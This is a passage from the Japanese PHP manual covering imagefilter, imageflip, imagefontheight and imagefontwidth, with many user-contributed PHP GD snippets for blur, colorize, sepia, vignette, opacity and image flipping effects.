  imagefilter($myImage,IMG_FILTER_COLORIZE, 90, 55, 30);
  header("Content-type: image/jpeg");
  imagejpeg($myImage );
  imagejpeg($myImage,$f);
  imagedestroy( $myImage );
martijn at martijnfrazer dot nl 01-Apr-2014 05:03
I needed an especially strong blur effect today and had a hard time achieving adequate results with the built-in IMG_FILTER_GAUSSIAN_BLUR filter. In order to achieve the strength of the blur I required I had to repeat the filter up to  100 times, which took way too long to be acceptable.

After a bit of searching, I found this answer to be quite a good solution to this problem: http://stackoverflow.com/a/20264482

Based on that technique, I wrote the following generic function to achieve a very strong blur in a reasonable amount of processing:

<?php

/**
 * Strong Blur
 *
 * @param resource $gdImageResource
 * @param int $blurFactor optional
 *  This is the strength of the blur
 *  0 = no blur, 3 = default, anything over 5 is extremely blurred
 * @return GD image resource
 * @author Martijn Frazer, idea based on http://stackoverflow.com/a/20264482
 */
function blur($gdImageResource, $blurFactor = 3)
{
  // blurFactor has to be an integer
  $blurFactor = round($blurFactor);

  $originalWidth = imagesx($gdImageResource);
  $originalHeight = imagesy($gdImageResource);

  $smallestWidth = ceil($originalWidth * pow(0.5, $blurFactor));
  $smallestHeight = ceil($originalHeight * pow(0.5, $blurFactor));

  // for the first run, the previous image is the original input
  $prevImage = $gdImageResource;
  $prevWidth = $originalWidth;
  $prevHeight = $originalHeight;

  // scale way down and gradually scale back up, blurring all the way
  for($i = 0; $i < $blurFactor; $i += 1)
  {
    // determine dimensions of next image
    $nextWidth = $smallestWidth * pow(2, $i);
    $nextHeight = $smallestHeight * pow(2, $i);

    // resize previous image to next size
    $nextImage = imagecreatetruecolor($nextWidth, $nextHeight);
    imagecopyresized($nextImage, $prevImage, 0, 0, 0, 0,
      $nextWidth, $nextHeight, $prevWidth, $prevHeight);

    // apply blur filter
    imagefilter($nextImage, IMG_FILTER_GAUSSIAN_BLUR);

    // now the new image becomes the previous image for the next step
    $prevImage = $nextImage;
    $prevWidth = $nextWidth;
      $prevHeight = $nextHeight;
  }

  // scale back to original size and blur one more time
  imagecopyresized($gdImageResource, $nextImage,
    0, 0, 0, 0, $originalWidth, $originalHeight, $nextWidth, $nextHeight);
  imagefilter($gdImageResource, IMG_FILTER_GAUSSIAN_BLUR);

  // clean up
  imagedestroy($prevImage);

  // return result
  return $gdImageResource;
}
?>
Manolo at msalsas dot com 01-Feb-2014 02:25
filtertype is an integer. So if you want to use it as a variable and need to use, e.g. preg_match function you can do it in this way:

<?php
    $filter = IMG_FILTER_BRIGHTNESS;
    if( preg_match( '/^[0-9]{1,2}$/', $filter ) )
    {
        //Do something
    }
?>

The order of the filtertypes in this manual determines the number of each filter, from 0 to 11. E.g. IMG_FILTER_NEGATE=0.
yoann at yoone dot eu 22-Aug-2013 02:04
Here is an alternative to IMG_FILTER_COLORIZE filter, but taking the alpha parameter of each pixel in account.

<?php
function rgba_colorize($img, $color)
{
    imagesavealpha($img, true);
    imagealphablending($img, true);

    $img_x = imagesx($img);
    $img_y = imagesy($img);
    for ($x = 0; $x < $img_x; ++$x)
    {
        for ($y = 0; $y < $img_y; ++$y)
        {
            $rgba = imagecolorsforindex($img, imagecolorat($img, $x, $y));
            $color_alpha = imagecolorallocatealpha($img, $color[0], $color[1], $color[2], $rgba['alpha']);
            imagesetpixel($img, $x, $y, $color_alpha);
            imagecolordeallocate($img, $color_alpha);
        }
    }
}
?>
Padde 08-Dec-2012 07:29
I played with IMG_FILTER_SMOOTH and tried some negative
values.

-1 to -7: looks like a mix of smoothness and edgedetect

-8: image seems to be completely broken

-9 and lower: kind of sharpening effect (-9 sharper than -10)

I think the sharpening effect in particular could be useful.
martijn(97+1) at gmail dot com (solve math) 17-Oct-2012 05:34
Simple pixelate function, just in case you are < 5.3

<?php
function pixelate(&$image, $pixelsize){
    $maxX = imagesx($image);
    $maxY = imagesy($image);
    $rad=floor($pixelsize/2);
    for($x=$rad;$x<$maxX;$x+=$pixelsize)
        for($y=$rad;$y<$maxY;$y+=$pixelsize){
            $color = imagecolorat($image, $x, $y);
            imagefilledrectangle ($image, $x-$rad, $y-$rad, $x+$pixelsize-1, $y+$pixelsize-1,$color);
        }
}
?>
cookie at backbone dot sk 23-Aug-2012 01:11
a function to create nice vignette effect:

<?php

function vignette($im){
    global $width, $height;
    $width = imagesx($im);
    $height = imagesy($im);

    function effect($x, $y, &$rgb){
        global $width, $height;

        $sharp = 0.4; // 0 - 10 small is sharpnes,
        $level = 0.7; // 0 - 1 small is brighter

        $l = sin(M_PI / $width * $x) * sin(M_PI / $height * $y);
        $l = pow($l, $sharp);

        $l = 1 - $level * (1 - $l);

        $rgb['red'] *= $l;
        $rgb['green'] *= $l;
        $rgb['blue'] *= $l;
    }

    for($x = 0; $x < imagesx($im); ++$x){
        for($y = 0; $y < imagesy($im); ++$y){
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($im, $index);
            effect($x, $y, $rgb);
            $color = imagecolorallocate($im, $rgb['red'], $rgb['green'], $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }
    return(true);
}

$im = imagecreatefromjpeg('cars7_134.jpg');

if($im and vignette($im)){
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}else{
    echo 'Vignette failed.';
}
?>
mail at pedrocandeias dot com 29-Oct-2011 07:20
// With transparent PNG file you can colorize the "positive" items and stand the transparent has it is - Beta code

<?php
header('Content-Type: image/png');

$im = imagecreatefrompng('image.png');
$width = imagesx($im);
$height = imagesy($im);
$imn = imagecreatetruecolor($width, $height);
imagealphablending($imn,false);
$col=imagecolorallocatealpha($imn,255,255,255,127);
imagesavealpha($imn,true);
imagefilledrectangle($imn,0,0,$width,$height,$col);
imagealphablending($imn,true);
imagecopy($imn, $im, 0, 0, 0, 0, $width, $height);
imagefilter($imn, IMG_FILTER_NEGATE);

// FOR A TRANSPARENT PNG FILE WITH SOMETHING INSIDE, YOU CAN CHANGE THE COLOR HERE: I HAVE RGB: 0, 255, 0
imagefilter($imn, IMG_FILTER_COLORIZE, 0, 255, 0);

imagepng($imn);
imagedestroy($imn);

?>
hadrien dot jouet at grownseed dot net 21-Jun-2011 06:58
For people looking to apply a 'multiply' effect on images like the one in Photoshop (generally b&w ones), you can achieve it with the IMG_FILTER_COLORIZE filter.

<?php
function multiplyColor(&$im, $color = array(255, 0, 0))
{
   //get opposite color
   $opposite = array(255 - $color[0], 255 - $color[1], 255 - $color[2]);

   //now we subtract the opposite color from the image
   imagefilter($im, IMG_FILTER_COLORIZE, -$opposite[0], -$opposite[1], -$opposite[2]);
}
?>
bushmakin stas (bushstas at mail dot ru) 17-Mar-2011 12:26
a function to make all colors gray except the only one
i made it myself so the code is note so beautiful )

<?php
function imagecolorfilter($im){

    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $c=($r+$g+$b)/3;

//if($g<$r || $g<$b+20){$r=$c;$g=$c; $b=$c;}//leaves only green
//if($b<$r || $b<$g){$r=$c;$g=$c; $b=$c;}//only blue
if($r<$g+30 || $r<$b){$r=$c;$g=$c; $b=$c;}//only red
//if($r<$g-1 || $r>$g+60 || $b>$g-50){$r=$c;$g=$c; $b=$c;}//only yellow

imagesetpixel($im, $x, $y,imagecolorallocate($im, $r,$g,$b));
        }
    }
}

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("image.jpg");
imagecolorfilter($im);
imagejpeg($im);
?>
jonathan dot gotti at gmail dot com 30-Nov-2010 06:38
IMG_FILTER_COLORIZE doesn't seem to work on palette image, here's a way to achieve same result with palette image:

<?php
//$color is an array containing rvb infos (ie: array(255,80,0))
function paletteColorize($imgResource,array $color){
    $nbColors = imagecolorstotal($imgResource);
    for($i=0; $i<$nbColors; $i++){
        $c = array_values(imagecolorsforindex($imgRes,$i));
        for($y=0;$y<3;$y++)
            $c[$y] = max(0,min(255,$c[$y]+$color[$y]));
        imagecolorset($imgResource,$i,$c[0],$c[1],$c[2]);
    }
}
?>

Here's also a function that work on both truecolor and palette images that try to do something similar to greyscale with a given color
<?php
function colorScale($imgRes,array $color){
        imagefilter($imgRes,IMG_FILTER_GRAYSCALE);
        $color = self::_read_color($color);
        $luminance=($color[0]+$color[1]+$color[2])/3; // average luminance added by the color
        $brightnessCorrection = $luminance/3; // quantity of brightness to correct for each channel
        if( $luminance < 127 ){
            $brightnessCorrection -= 127/3; // color is dark so we have to negate the brightness correction
        }
        if(! imageistruecolor($imgRes) ){
            $nbColors = imagecolorstotal($imgRes);
            for($i=0; $i<$nbColors; $i++){
                $c = array_values(imgagecolorsforindex($imgRes,$i));
                for($y=0;$y<3;$y++){
                    $c[$y] = max(0, min(255, $c[$y] + ($color[$y]-$luminance) + $brightnessCorrection) ); // parentheses just for better comprehension
                }
                imagecolorset($omgRes,$i,$c[0],$c[1],$c[2]);
            }
        }else{ // much easier with truecolor
            imagefilter($imgRes, IMG_FILTER_COLORIZE, $color[0]-$luminance, $color[1]-$luminance, $color[2]-$luminance);
            imagefilter($imgRes, IMG_FILTER_BRIGHTNESS, $brightnessCorrection);
        }
}
?>

with hope that someone will find this useful
mail at kavisiegel dot com 25-Jun-2009 11:11
Searching for a way to easily change the color of the image, I tried IMG_FILTER_COLORIZE. I was unable to get the quality results I wanted. It turns out PHP's Colorize is the equivalent of Photoshop's "Linear Dodge" layer filter.

Hue adjustments have always worked well for me, so I figured I could try with PHP.
This function is kind of slow on larger images, but on small images like what I'm using it for, the difference is trivial.

The script calculates the ratio or red, to green, to blue in the color provided, then scales the image appropriately... unfortunately, it does it pixel by pixel.

Here's a demo and comparison of this function, to photoshop's hue function, to PHP's colorize. http://img146.imageshack.us/img146/3167/imagefilterhuedemo.png

<?php
function imagefilterhue($im,$r,$g,$b){
    $rgb = $r+$g+$b;
    $col = array($r/$rgb,$b/$rgb,$g/$rgb);
    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $newR = $r*$col[0] + $g*$col[1] + $b*$col[2];
            $newG = $r*$col[2] + $g*$col[0] + $b*$col[1];
            $newB = $r*$col[1] + $g*$col[2] + $b*$col[0];
            imagesetpixel($im, $x, $y,imagecolorallocate($im, $newR, $newG, $newB));
        }
    }
}
header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("test.jpg");

// Usage: Just as imagefilter(), except with no filtertype.
// imagefilterhue(resource $image, int $red, int $green , int $blue)
imagefilterhue($im,2,70,188);

// The equivalent with colorize, as tested in demo image: imagefilter($im, IMG_FILTER_COLORIZE, 2, 70, 188);

imagejpeg($im);
?>
aiden dot mail at freemail dot hu 29-Mar-2008 12:16
Function to change the transparency of a png image on the fly. Works only with PNG, and with a browser supporting alpha channel.
The function stretches the opacity-range of the image, so that the most opaque pixel(s) will be set to the given opacity. (Other opacity values in pixels are modified accordingly.)
Returns success or failure.

<?php
function filter_opacity( &$img, $opacity ) //params: image resource id, opacity in percentage (eg. 80)
        {
            if( !isset( $opacity ) )
                { return false; }
            $opacity /= 100;

            //get image width and height
            $w = imagesx( $img );
            $h = imagesy( $img );

            //turn alpha blending off
            imagealphablending( $img, false );

            //find the most opaque pixel in the image (the one with the smallest alpha value)
            $minalpha = 127;
            for( $x = 0; $x < $w; $x++ )
                for( $y = 0; $y < $h; $y++ )
                    {
                        $alpha = ( imagecolorat( $img, $x, $y ) >> 24 ) & 0xFF;
                        if( $alpha < $minalpha )
                            { $minalpha = $alpha; }
                    }

            //loop through image pixels and modify alpha for each
            for( $x = 0; $x < $w; $x++ )
                {
                    for( $y = 0; $y < $h; $y++ )
                        {
                            //get current alpha value (represents the TANSPARENCY!)
                            $colorxy = imagecolorat( $img, $x, $y );
                            $alpha = ( $colorxy >> 24 ) & 0xFF;
                            //calculate new alpha
                            if( $minalpha !== 127 )
                                { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); }
                            else
                                { $alpha += 127 * $opacity; }
                            //get the color index with new alpha
                            $alphacolorxy = imagecolorallocatealpha( $img, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
                            //set pixel with the new color + opacity
                            if( !imagesetpixel( $img, $x, $y, $alphacolorxy ) )
                                { return false; }
                        }
                }
            return true;
        }
?>

Example for use:

 <?php
  $image = imagecreatefrompng( "img.png" );
  filter_opacity( $image, 75 );
  header( "content-type: image/png" );
  imagepng( $image );
  imagedestroy( $image );
?>
michaeln no at spam associationsplus ca 21-Nov-2007 08:11
Note: applying IMG_FILTER_EMBOSS to text and using in a customization to the CAPTCHA image script in phpBB or a project of your own is a very good way to stop OCR-ing bots from getting through. Embossed serif fonts are fairly easy for the human eye to understand but to an OCR script it is extremely difficult because it seems to give it the illusion of 3D.

If you only allocate 2 or 3 colours in the image, it uses the background colour alot in the embossed text, which greatly contributes to this.

I made my own custom CAPTCHA script to stop phpBB post spam for a client site I was developing and I have gone from getting 2-3 new spam users created every day to zero.

Anything with the source code freely available out there right now is possible to be defeated by spammers once one of them stars sharing code with the other spammers, but if you run something at least someone custom, their bots will pass you over.
ssttoo at gmail dot com 13-Nov-2007 12:31
Here's a page that shows the different filters in action
http://www.phpied.com/image-fun-with-php-part-2/
Also shows some quick ways to do sepia.
webmaster at designsbykosi dot info 08-May-2007 12:56
This will only work if you have php5. For php4, you'll have to use the sepia function set webmaster at qudi dot de suggested.
fananf at nerdshack dot com 16-Mar-2007 09:26
If you're looking for fast sepia effect that can be used for on-the-fly thumbnails generation you can't use sophisticated functions. The faster and much better way than described by webmaster at qudi dot de in the note from 31-Jan-2006 is applying colorize filter AFTER grayscale.

<?php

(...)

imagefilter($yourimage, IMG_FILTER_GRAYSCALE); imagefilter($yourimage, IMG_FILTER_COLORIZE, 90, 60, 40);

(...)

?>

I used (90,60,40) for my sepia after couple of tests, however, if you need darker or lighter just check what suits you best.
trucex email over at gmail 14-Feb-2007 12:31
It appears that imagefilter doesn't play nice with apha. If you run an imagefilter on a transparent image it'll return a black image...similar to a lot of Photoshop plugins do.
PanuWorld 14-Jan-2007 06:55
The documentation misses the exact meaning and valid ranges of the arguments for ImageFilter(). According to the 5.2.0 sources the arguments are:
IMG_FILTER_BRIGHTNESS
-255 = min brightness, 0 = no change, +255 = max brightness

IMG_FILTER_CONTRAST
-100 = max contrast, 0 = no change, +100 = min contrast (note the direction!)

IMG_FILTER_COLORIZE
Adds (subtracts) specified RGB values to each pixel. The valid range for each color is -255...+255, not 0...255. The correct order is red, green, blue.
-255 = min, 0 = no change, +255 = max
This has not much to do with IMG_FILTER_GRAYSCALE.

IMG_FILTER_SMOOTH
Applies a 9-cell convolution matrix where center pixel has the weight arg1 and others weight of 1.0. The result is normalized by dividing the sum with arg1 + 8.0 (sum of the matrix).
any float is accepted, large value (in practice: 2048 or more) = no change

ImageFilter seem to return false if the argument(s) are out of range for the chosen filter.
nancy at hypertextdigital dot com 03-Aug-2006 02:16
This routine was just what I was looking for, I wanted web admin users to be able to recolour their uploaded photos (to go with a news item) either a blue tint or sepia to match the appearance of other colours used on the website.

Using a form with a select box containing the RGB values, I can give them the option of either of the two tints or no colourization at all, plus resize their images to the viewing size and a thumbnail image on the fly without having to use any other image editing software.
santibari at fibertel dot com 27-Feb-2006 11:37
A colorize algorithm wich preserves color luminosity (i.e black
will output black, and white will output white).
This works in PHP4 and is great for customizing interfaces
dinamically.

<?php
function colorize($img_src,$img_dest, $r, $g, $b)
{
if(!$im = imagecreatefromgif($img_src))
  return "Could not use image $img_src";

//We will create a monochromatic palette based on
//the input color
//which will go from black to white
//Input color luminosity: this is equivalent to the
//position of the input color in the monochromatic
//palette
$lum_inp=round(255*($r+$g+$b)/765); //765=255*3

//We fill the palette entry with the input color at its
//corresponding position

$pal[$lum_inp]['r']=$r;
$pal[$lum_inp]['g']=$g;
$pal[$lum_inp]['b']=$b;

//Now we complete the palette, first we'll do it to
//the black,and then to the white.

//FROM input to black
//===================
//how many colors between black and input
$steps_to_black=$lum_inp;

//The step size for each component
if($steps_to_black)
 {
 $step_size_red=$r/$steps_to_black;
 $step_size_green=$g/$steps_to_black;
 $step_size_blue=$b/$steps_to_black;
 }

for($i=$steps_to_black;$i>=0;$i--)
 {
 $pal[$steps_to_black-$i]['r']=$r-round($step_size_red*$i);
 $pal[$steps_to_black-$i]['g']=$g-round($step_size_green*$i);
 $pal[$steps_to_black-$i]['b']=$b-round($step_size_blue*$i);
 }

//From input to white:
//===================
//how many colors between input and white
$steps_to_white=255-$lum_inp;

if($steps_to_white)
  {
  $step_size_red=(255-$r)/$steps_to_white;
  $step_size_green=(255-$g)/$steps_to_white;
  $step_size_blue=(255-$b)/$steps_to_white;
  }
 else
  $step_size_red=$step_size_green=$step_size_blue=0;

 //The step size for each component
 for($i=($lum_inp+1);$i<=255;$i++)
  {
  $pal[$i]['r']=$r + round($step_size_red*($i-$lum_inp));
  $pal[$i]['g']=$g + round($step_size_green*($i-$lum_inp));
  $pal[$i]['b']=$b + round($step_size_blue*($i-$lum_inp));
  }
//--- End of palette creation

//Now,let's change the original palette into the one we
//created
for($c = 0; $c < $palette_size; $c++)
 {
 $col = imagecolorsforindex($im, $c);
 $lum_src=round(255*($col['red']+$col['green']
                +$col['blue'])/765);
 $col_out=$pal[$lum_src];
 imagecolorset($im, $c, $col_out['r'],
                                $col_out['g'],
                                $col_out['b']);
 }

 //save the image file
 imagepng($im,$img_dest);
 imagedestroy($im);
}//end function colorize
?>
webmaster at qudi dot de 31-Jan-2006 06:53
for a quick, ok-looking, sepia-effect (also in php4) I just use this little fellow, since a real implementation of sepia was just way too slow.

function pseudosepia(&$im,$percent){
      $sx=imagesx($im);
      $sy=imagesy($im);
      $filter=imagecreatetruecolor($sx,$sy);
      $c=imagecolorallocate($filter,100,50,50);
      imagefilledrectangle($filter,0,0,$sx,$sy,$c);
      imagecopymerge($im,$filter,0,0,0,0,$sx,$sy,$percent);
}
a php user at nowhere dot com 20-Dec-2005 12:48
http://www.hudzilla.org/phpbook/read.php/11_2_15
for more detailed info, and some <i>arg</i> guidelines.
vdepizzol at hotmail dot com 04-Sep-2004 01:36
Examples using imagefilter():

<?php
$im = imagecreatefrompng('dave.png');
if ($im && imagefilter($im, IMG_FILTER_GRAYSCALE)) {
    echo 'Image converted to grayscale.';
    imagepng($im, 'dave.png');
} else {
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('sean.png');
if ($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20)) {
    echo 'Image brightness changed.';
    imagepng($im, 'sean.png');
} else {
    echo 'Image brightness change failed.';
}

imagedestroy($im);
?>

/////////////////////////////

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if ($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0)) {
    echo 'Image successfully shaded green.';
    imagepng($im, 'philip.png');
} else {
    echo 'Green shading failed.';
}

imagedestroy($im);
?>
kees at tweakers dot net 20-Jul-2004 06:26
From what i have been able to find from this function, it accepts the following arguments:
        IMG_FILTER_NEGATE
        IMG_FILTER_GRAYSCALE
        IMG_FILTER_EDGEDETECT
        IMG_FILTER_GAUSSIAN_BLUR
        IMG_FILTER_SELECTIVE_BLUR
        IMG_FILTER_EMBOSS
        IMG_FILTER_MEAN_REMOVAL

The following arguments need one or more arguments.
        IMG_FILTER_SMOOTH, -1924.124
        IMG_FILTER_COLORIZE, -127.12, -127.98, 127
        IMG_FILTER_CONTRAST, -90
        IMG_FILTER_BRIGHTNESS, 98

I haven't tested them all, the names speak for themselves.


指定したモードで画像を反転させる

  • ≪ imagefilter
  • imagefontheight ≫
  • PHP Manual
  • GD および Image 関数
  • 指定したモードで画像を反転させる

imageflip

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageflip — 指定したモードで画像を反転させる

説明

imageflip ( resource $image , int $mode ) : bool

image を、指定した mode で反転させます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

mode

反転のモード。定数 IMG_FLIP_* のいずれかを指定します。

定数 | 意味
IMG_FLIP_HORIZONTAL | 水平方向に、左右を反転させます。
IMG_FLIP_VERTICAL | 垂直方向に、上下を反転させます。
IMG_FLIP_BOTH | 水平方向、垂直方向の両方に反転させます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 垂直方向の反転

この例では、定数 IMG_FLIP_VERTICAL を使います。

<?php
// 画像ファイル
$filename = 'phplogo.png';

// コンテントタイプ
header('Content-type: image/png');

// 読み込み
$im = imagecreatefrompng($filename);

// 垂直反転
imageflip($im, IMG_FLIP_VERTICAL);

// 出力
imagejpeg($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

例2 水平方向の反転

この例では、定数 IMG_FLIP_HORIZONTAL を使います。

<?php
// 画像ファイル
$filename = 'phplogo.png';

// コンテントタイプ
header('Content-type: image/png');

// 読み込み
$im = imagecreatefrompng($filename);

// 水平反転
imageflip($im, IMG_FLIP_HORIZONTAL);

// 出力
imagejpeg($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

Daniel Klein 04-Feb-2016 01:26
If you're using PHP < 5.5 you can use this code to add the same functionality. If you pass the wrong $mode in it will silently fail. You might want to add your own error handling for this case.

<?php
if (!function_exists('imageflip')) {
  define('IMG_FLIP_HORIZONTAL', 0);
  define('IMG_FLIP_VERTICAL', 1);
  define('IMG_FLIP_BOTH', 2);

  function imageflip($image, $mode) {
    switch ($mode) {
      case IMG_FLIP_HORIZONTAL: {
        $max_x = imagesx($image) - 1;
        $half_x = $max_x / 2;
        $sy = imagesy($image);
        $temp_image = imageistruecolor($image)? imagecreatetruecolor(1, $sy): imagecreate(1, $sy);
        for ($x = 0; $x < $half_x; ++$x) {
          imagecopy($temp_image, $image, 0, 0, $x, 0, 1, $sy);
          imagecopy($image, $image, $x, 0, $max_x - $x, 0, 1, $sy);
          imagecopy($image, $temp_image, $max_x - $x, 0, 0, 0, 1, $sy);
        }
        break;
      }
      case IMG_FLIP_VERTICAL: {
        $sx = imagesx($image);
        $max_y = imagesy($image) - 1;
        $half_y = $max_y / 2;
        $temp_image = imageistruecolor($image)? imagecreatetruecolor($sx, 1): imagecreate($sx, 1);
        for ($y = 0; $y < $half_y; ++$y) {
          imagecopy($temp_image, $image, 0, 0, 0, $y, $sx, 1);
          imagecopy($image, $image, 0, $y, 0, $max_y - $y, $sx, 1);
          imagecopy($image, $temp_image, 0, $max_y - $y, 0, 0, $sx, 1);
        }
        break;
      }
      case IMG_FLIP_BOTH: {
        $sx = imagesx($image);
        $sy = imagesy($image);
        $temp_image = imagerotate($image, 180, 0);
        imagecopy($image, $temp_image, 0, 0, 0, 0, $sx, $sy);
        break;
      }
      default: {
        return;
      }
    }
    imagedestroy($temp_image);
  }
}
?>


フォントの高さを取得する

  • ≪ imageflip
  • imagefontwidth ≫
  • PHP Manual
  • GD および Image 関数
  • フォントの高さを取得する

imagefontheight

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontheight — フォントの高さを取得する

説明

imagefontheight ( int $font ) : int

指定されたフォントの文字の高さをピクセル単位で返します。

パラメータ

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

返り値

フォントの高さをピクセルで返します。

例

例1 組み込みフォントでの imagefontheight() の使用法

<?php
echo 'フォントの高さ: ' . imagefontheight(4);
?>

上の例の出力は、 たとえば以下のようになります。

フォントの高さ: 16

例2 imagefontheight() と imageloadfont() を組み合わせた使用法

<?php
// .gdf フォントを読み込みます
$font = imageloadfont('anonymous.gdf');

echo 'フォントの高さ: ' . imagefontheight($font);
?>

上の例の出力は、 たとえば以下のようになります。

フォントの高さ: 43

参考

  • imagefontwidth() - フォントの幅を取得する
  • imageloadfont() - 新しいフォントを読み込む

User Contributed Notes

dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


フォントの幅を取得する

  • ≪ imagefontheight
  • imageftbbox ≫
  • PHP Manual
  • GD および Image 関数
  • フォントの幅を取得する

imagefontwidth

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefontwidth — フォントの幅を取得する

説明

imagefontwidth ( int $font ) : int

指定されたフォントの文字の幅をピクセル単位で返します。

パラメータ

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

返り値

フォントの幅をピクセルで返します。

例

例1 組み込みフォントでの imagefontwidth() の使用法

<?php
echo 'フォントの幅: ' . imagefontwidth(4);
?>

上の例の出力は、 たとえば以下のようになります。

フォントの幅: 8

例2 imagefontwidth() と imageloadfont() を組み合わせた使用法

<?php
// .gdf フォントを読み込みます
$font = imageloadfont('anonymous.gdf');

echo 'フォントの幅: ' . imagefontwidth($font);
?>

上の例の出力は、 たとえば以下のようになります。

フォントの幅: 23

参考

  • imagefontheight() - フォントの高さを取得する
  • imageloadfont() - 新しいフォントを読み込む

User Contributed Notes

Anonymous 27-Jul-2013 05:18
I've notice that with accented characters (so french !!)
like that:
strlen("cable" * imagefontwidth(FONTSIZE));
this command give a string length bigger than it is in reality
so you have to pass the chain in utf8 decode before

strlen(utf8_decode("cable") * imagefontwidth(FONTSIZE));

that's all (sorry for my english !)
puremango dot co dot uk at gmail dot com 31-Aug-2005 01:26
a function that is faster than ImageFontWidth for certain uses:

<?
function ImageFontWidthByFilename($filename)
{
    $handle = @fopen($font_locations[$i],"r");
    $c_wid = @fread($handle,11);
    @fclose($handle);
    return(ord($c_wid{8})+ord($c_wid{9})+ord($c_wid{10})+ord($c_wid{11}));
}

echo "./font.gdf is ".ImageFontWidthByFilename("./font.gdf")." pixels wide";

?>

reading the widths of 5 different fonts, 500 times, ImageFontWidth took an average of ~0.004 seconds per 5 reads, my function takes ~0.0003 per 5.

The reason is that ImageFontWidth requires a call to ImageLoadFont, but if for some reason you won't need to load the font, just find out the width, this is the function for you :-)

more such wonders at http://puremango.co.uk
dev at numist dot net 24-Jan-2005 03:47
This library function is very useful for variable-sized images that only contain text, like this function that I use to output error messages that accumulate and cause a fatal error in my thumbnailer:

<?php
function errimg($error) {
   // $error is an array of error messages, each taking up one line
   // initialization
   $font_size = 2;
   $text_width = imagefontwidth($font_size);
   $text_height = imagefontheight($font_size);
   $width = 0;
   // the height of the image will be the number of items in $error
   $height = count($error);

   // this gets the length of the longest string, in characters to determine
   // the width of the output image
   for($x = 0; $x < count($error); $x++) {
      if(strlen($error[$x]) > $width) {
         $width = strlen($error[$x]);
      }
   }

   // next we turn the height and width into pixel values
   $width = $width * $text_width;
   $height = $height * $text_height;

   // create image with dimensions to fit text, plus two extra rows and
   // two extra columns for border
   $im = imagecreatetruecolor($width + ( 2 * $text_width ),
                              $height + ( 2 * $text_height ) );
   if($im) {
      // image creation success
      $text_color = imagecolorallocate($im, 233, 14, 91);
      // this loop outputs the error message to the image
      for($x = 0; $x < count($error); $x++) {
         // imagestring(image, font, x, y, msg, color);
         imagestring($im, $font_size, $text_width,
                     $text_height + $x * $text_height, $error[$x],
                     $text_color);
      }
      // now, render your image using your favorite image* function
      // (imagejpeg, for instance)
      out($im, array(), $error);
   } else {
      // image creation failed, so just dump the array along with extra error
      $error[] = "Is GD Installed?";
      die(var_dump($error));
   }
}
?>

The function expects an array of error messages to be passed in, and then outputs an image containing the contents of the array.  This is especially useful if your code is contained in an html page that will display rexes if the images do not render correctly.

This function displays the array in image form with index 0 at the top, and the highest index at the bottom.

You have to write out() yourself though, see imagejpeg, imagepng, etc for good ideas on how to write a decent output function.


freetype2 によるフォントを用いたテキストを囲む箱を取得する

  • ≪ imagefontwidth
  • imagefttext ≫
  • PHP Manual
